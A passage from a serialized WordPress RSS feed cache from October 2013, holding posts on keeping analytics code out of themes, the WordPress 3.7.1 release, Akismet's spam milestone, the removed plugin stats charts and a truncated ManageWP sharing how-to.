Theme\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10602\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:125:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/Cgbk-X7PiGg/why-you-should-never-add-analytics-code-to-your-wordpress-theme\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:4181:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ga.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ga.jpg?resize=300%2C280\&quot; alt=\&quot;ga\&quot; class=\&quot;alignright size-medium wp-image-10654\&quot; /&gt;&lt;/a&gt;This is a simple thing but it bears mentioning. Many major WordPress theme providers offer the ability to easily add Google Analytics or other tracking code via the theme&amp;#8217;s options panel. &lt;/p&gt;\n&lt;p&gt;The idea stems from wanting to market a theme with everything needed to create the website that you see in the demo. Theme developers have been successful at selling themselves as one stop shops. To that end, they often pack WordPress themes full of code that is better suited to the realm of plugins.&lt;/p&gt;\n&lt;p&gt;One common example is a theme option to add tracking code. It&amp;#8217;s likely one of the last options listed in your theme&amp;#8217;s dashboard panel. It&amp;#8217;s a really easy place to add Google Analytics code, but please resist the temptation to paste your code in here.&lt;span id=\&quot;more-10602\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Analytics Code is Not a Theme Feature&lt;/h3&gt;\n&lt;p&gt;Site analytics are not a theme feature and simply do not belong in your theme. Analytics has nothing to do with your website&amp;#8217;s design. Even if Google tells you to add this to the header of your site, do not directly edit your theme.&lt;/p&gt;\n&lt;p&gt;The reason for this is that WordPress themes were made to be easily swapped out.  More than likely you&amp;#8217;re not going to use the same theme forever. But if your analytics code is in your theme options, then you&amp;#8217;ll lose it when you change themes. By the time you realize it, you may already have large gaps in your analytics.&lt;/p&gt;\n&lt;p&gt;Do yourself a favor. Instead of adding the code to your theme every time you change themes, just drop it in a plugin. There are plenty available on &lt;a href=\&quot;http://wordpress.org/plugins/search.php?q=google+analytics\&quot; target=\&quot;_blank\&quot;&gt;wordpress.org&lt;/a&gt;. You&amp;#8217;ll only have to add it once and it will be safe when you change the design of your website.&lt;/p&gt;\n&lt;h3&gt;Theme Developers: Stop Tying Data to Themes&lt;/h3&gt;\n&lt;p&gt;&lt;div id=\&quot;attachment_10650\&quot; class=\&quot;wp-caption alignright\&quot;&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/medium_6200837672.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/medium_6200837672.jpg?resize=300%2C300\&quot; alt=\&quot;Portability - I has it\&quot; class=\&quot;size-medium wp-image-10650\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Portability &amp;#8211; I has it&lt;/p&gt;&lt;/div&gt;This discussion boils down to data portability, a topic of recent conversation on Justin Tadlock&amp;#8217;s blog: &lt;a href=\&quot;http://justintadlock.com/archives/2013/09/14/why-custom-post-types-belong-in-plugins\&quot; target=\&quot;_blank\&quot;&gt;Why custom post types belong in plugins&lt;/a&gt;. If you&amp;#8217;re a theme developer, please do not tie any form of data or content to the themes you create.  This includes analytics, shortcodes, custom post types, booking and event management, testimonials, fundraising functionality, portfolios, etc. The list could go on and on. &lt;/p&gt;\n&lt;p&gt;If a user cannot quickly pack up his data and go after using your theme, then your product has become a dead weight. In a perfect world, WordPress consumers will start looking at themes with this question in mind: &lt;strong&gt;&amp;#8220;If I wanted to stop using this theme tomorrow, could all my data go with me?&amp;#8221;&lt;/strong&gt;  If you&amp;#8217;re selling a product that doesn&amp;#8217;t pass that test, then you might want to make a few changes for the sake of data portability. &lt;/p&gt;\n&lt;p&gt;Better options would be to include functionality plugins with the purchase of the theme or recommend a high quality plugin to accompany it. Keeping those functions separate from the theme itself will help users to take their data with them when they change themes. As a bonus, it&amp;#8217;s also easier to troubleshoot when providing support. Let&amp;#8217;s just keep themes clean. We&amp;#8217;ve all been guilty of hindering data portability in the past, but now is good time to start building WordPress products differently.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/Cgbk-X7PiGg\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:30:21 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:29;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:37:\&quot;Matt: New Virgin America Safety Video\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;http://ma.tt/?p=43146\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;http://ma.tt/2013/10/new-virgin-america-safety-video/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:288:\&quot;&lt;p&gt;&lt;span class=\&quot;embed-youtube\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Virgin America is giving Delta a run for their money with this amazing safety video &amp;#8212; who has ever said that before? &amp;#8212; directed by Jon Chu, who also did two of the Step Up movies. (Which sound cheesy but are actually awesome.)&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:27:02 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:30;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;Dev Blog: WordPress 3.7.1 Maintenance Release\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2745\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:50:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-1/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1589:\&quot;&lt;p&gt;WordPress 3.7.1 is now available! This maintenance release addresses 11 bugs in WordPress 3.7, including:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Images with captions no longer appear broken in the visual editor.&lt;/li&gt;\n&lt;li&gt;Allow some sites running on old or poorly configured servers to continue to check for updates from WordPress.org.&lt;/li&gt;\n&lt;li&gt;Avoid fatal errors with certain plugins that were incorrectly calling some WordPress functions too early.&lt;/li&gt;\n&lt;li&gt;Fix hierarchical sorting in get_pages(), exclusions in wp_list_categories(), and in_category() when called with empty values.&lt;/li&gt;\n&lt;li&gt;Fix a warning that may occur in certain setups while performing a search, and a few other notices.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;For a full list of changes, consult the &lt;a href=\&quot;http://core.trac.wordpress.org/query?milestone=3.7.1\&quot;&gt;list of tickets&lt;/a&gt; and &lt;a href=\&quot;http://core.trac.wordpress.org/log/branches/3.7?stop_rev=25914&amp;rev=25986\&quot;&gt;the changelog&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;If you are one of the &lt;a href=\&quot;http://wordpress.org/download/counter/\&quot;&gt;nearly two million&lt;/a&gt; already running WordPress 3.7, we will start rolling out the all-new &lt;a href=\&quot;http://wordpress.org/news/2013/10/basie/\&quot;&gt;automatic background updates&lt;/a&gt; for WordPress 3.7.1 in the next few hours. For sites &lt;a href=\&quot;http://wordpress.org/plugins/background-update-tester/\&quot;&gt;that support them&lt;/a&gt;, of course.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/download/\&quot;&gt;Download WordPress 3.7.1&lt;/a&gt; or venture over to &lt;strong&gt;Dashboard → Updates&lt;/strong&gt; and simply click &amp;#8220;Update Now.&amp;#8221;&lt;/p&gt;\n&lt;p&gt;&lt;em&gt;Just a few fixes&lt;br /&gt;\nYour new update attitude:&lt;br /&gt;\nZero clicks given&lt;/em&gt;&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:04:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:31;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;WPTavern: Akismet Celebrates Huge Spam Blocking Milestone\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10641\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:109:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/wZZvO0gdnRM/akismet-celebrates-huge-spam-blocking-milestone\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3397:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/AkismetSpamCountOverOneHundredBillion.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/AkismetSpamCountOverOneHundredBillion.jpg?resize=500%2C58\&quot; alt=\&quot;Akismet Spam Counter\&quot; class=\&quot;aligncenter size-full wp-image-10642\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://akismet.com/\&quot; title=\&quot;http://akismet.com/\&quot;&gt;Akismet&lt;/a&gt; is celebrating a huge milestone today. According to its spam counter, it has now blocked over 100,000,000,000 spam messages. Not all of that spam has originated from WordPress powered websites. Thanks to a number of &lt;a href=\&quot;http://akismet.com/development/\&quot; title=\&quot;http://akismet.com/development/\&quot;&gt;libraries and an API&lt;/a&gt;, Akismet can be used on different content management systems as well as services. &lt;span id=\&quot;more-10641\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;h3&gt;Installing Akismet Helpers&lt;/h3&gt;\n&lt;p&gt;While Akismet has saved me a ton of time, ever since I added two plugins to this website to go in front of Akismet, it&amp;#8217;s been much more effective. I&amp;#8217;ve installed &lt;a href=\&quot;http://wordpress.org/plugins/cookies-for-comments\&quot; title=\&quot;http://wordpress.org/plugins/cookies-for-comments\&quot;&gt;Cookies for comments&lt;/a&gt; and &lt;a href=\&quot;http://wordpress.org/plugins/simple-trackback-validation/\&quot; title=\&quot;http://wordpress.org/plugins/simple-trackback-validation/\&quot;&gt;Simple Trackback Validation&lt;/a&gt;. The results speak for themselves. But don&amp;#8217;t take my word for it. &lt;a href=\&quot;http://justintadlock.com/archives/2013/09/10/cookies-for-comments\&quot; title=\&quot;http://justintadlock.com/archives/2013/09/10/cookies-for-comments\&quot;&gt;Justin Tadlock wrote about his experience&lt;/a&gt; using these two plugins and he considered Cookies for comments one of his top 5. Another plugin worthy of trying is&lt;a href=\&quot;http://wordpress.org/plugins/wp-hashcash/\&quot; title=\&quot;http://wordpress.org/plugins/wp-hashcash/\&quot;&gt; WP-Hashcash&lt;/a&gt;. While you may notice the two-year update notice on the WP-Hashcash and Simple Trackback Validation plugin pages, I can assure you that both work with WordPress 3.7. &lt;/p&gt;\n&lt;h3&gt;Share How Much Spam Akismet Has Blocked&lt;/h3&gt;\n&lt;p&gt;If you use the Jetpack plugin by Automattic, you&amp;#8217;ll be able to use the Akismet widget. Browse to &lt;strong&gt;Appearance &amp;#8211; Widgets&lt;/strong&gt; and locate the Akismet Widget under the available widgets area. There are no options since the only thing it does is show people visiting your site how much spam has been blocked. While green is the color of Akismet, it doesn&amp;#8217;t look great on every website. Also, since there is no padding underneath the spam count, it gives the appearance that the widget is broken. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/SpamBlockedOnWPTavern.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/SpamBlockedOnWPTavern.jpg?resize=337%2C124\&quot; alt=\&quot;Spam Blocked On WPTavern\&quot; class=\&quot;aligncenter size-full wp-image-10645\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Don&amp;#8217;t mind the number because it&amp;#8217;s wrong. Since the launch of WPTavern, the counter has been reset a few times. With WordPress powering 20% of the web and multiple services able to tie into Akismet, it shouldn&amp;#8217;t take nearly as long to reach 200,000,000,000. I just hope this site doesn&amp;#8217;t take the brunt of that number!&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/wZZvO0gdnRM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 21:00:46 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:32;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;WPTavern: Why The WordPress Plugin Version Pie Chart Disappeared\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10634\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:116:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/LiKDt2xGB94/why-the-wordpress-plugin-version-pie-chart-disappeared\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1605:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/PluginVersionsChart.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/PluginVersionsChart.jpg?resize=150%2C150\&quot; alt=\&quot;Plugin Version Chart\&quot; class=\&quot;alignright size-thumbnail wp-image-10635\&quot; /&gt;&lt;/a&gt;About three years ago, &lt;a href=\&quot;http://make.wordpress.org/core/2010/10/22/new-and-improved-this-morning-we-have-a/\&quot; title=\&quot;http://make.wordpress.org/core/2010/10/22/new-and-improved-this-morning-we-have-a/\&quot;&gt;WordPress introduced pie charts and a stats API&lt;/a&gt; to the plugin repository. These stats gave plugin authors a chance to see which versions of their plugin were activated while also giving a glimpse into how many actual users the plugin had. The API provided a method to getting access to the data. Unfortunately, the API along with the Pie charts have been temporarily removed. &lt;span id=\&quot;more-10634\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;According to &lt;a href=\&quot;http://meta.trac.wordpress.org/ticket/107\&quot; title=\&quot;http://meta.trac.wordpress.org/ticket/107\&quot;&gt;ticket #107&lt;/a&gt; which states that the pie charts were reporting erroneous data, Otto responded &lt;em&gt;&amp;#8220;until we can sort out the stats gathering system, this was no better than random numbers&lt;/em&gt;&amp;#8220;. I sent an email to the WordPress.org team to see if any progress had been made on this problem. Their response is that they have not looked into it yet. It will be worked on at some point, but it&amp;#8217;s not high on the priority list at the moment.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/LiKDt2xGB94\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 20:00:00 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:33;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;WPTavern: How To Add A ManageWP Button To Jetpack Sharing\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10611\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:109:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/kG3zYYYBhm4/how-to-add-a-managewp-button-to-jetpack-sharing\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:4801:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ManageWPdotorgLogo.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img class=\&quot;alignright size-full wp-image-10615\&quot; alt=\&quot;Manage WordPress.org Logo\&quot; src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ManageWPdotorgLogo.jpg?resize=226%2C68\&quot; /&gt;&lt;/a&gt;ManageWP.org has been live since October 14th and has already &lt;a title=\&quot;https://twitter.com/vprelovac/status/394821188284715008\&quot; href=\&quot;https://twitter.com/vprelovac/status/394821188284715008\&quot;&gt;accumulated over 1,000 registered users&lt;/a&gt;. The site has also been in the top 5 of traffic referrals to WPTavern.com, thanks in large part to the unsolicited submission of articles and upvotes. We extend a huge thank you to all who have shared and voted on WPTavern articles on the site. Read on to learn how you can easily tap into this traffic source.&lt;span id=\&quot;more-10611\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/SharingModuleInJetpack.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img class=\&quot;alignright size-thumbnail wp-image-10618\&quot; alt=\&quot;Jetpack Sharing module\&quot; src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/SharingModuleInJetpack.jpg?resize=150%2C150\&quot; /&gt;&lt;/a&gt;While ManageWP.org &lt;a title=\&quot;http://managewp.org/resources\&quot; href=\&quot;http://managewp.org/resources\&quot;&gt;offers two different button styles&lt;/a&gt; you can display within the content, I prefer not to have anything within the content block that serves as a distraction. That&amp;#8217;s why I use the Sharing module within Jetpack. Using this module, I can add or subtract services for sharing content. I can also configure where they are displayed. ManageWP is not one of the supported services by default but you can easily add the service by following these 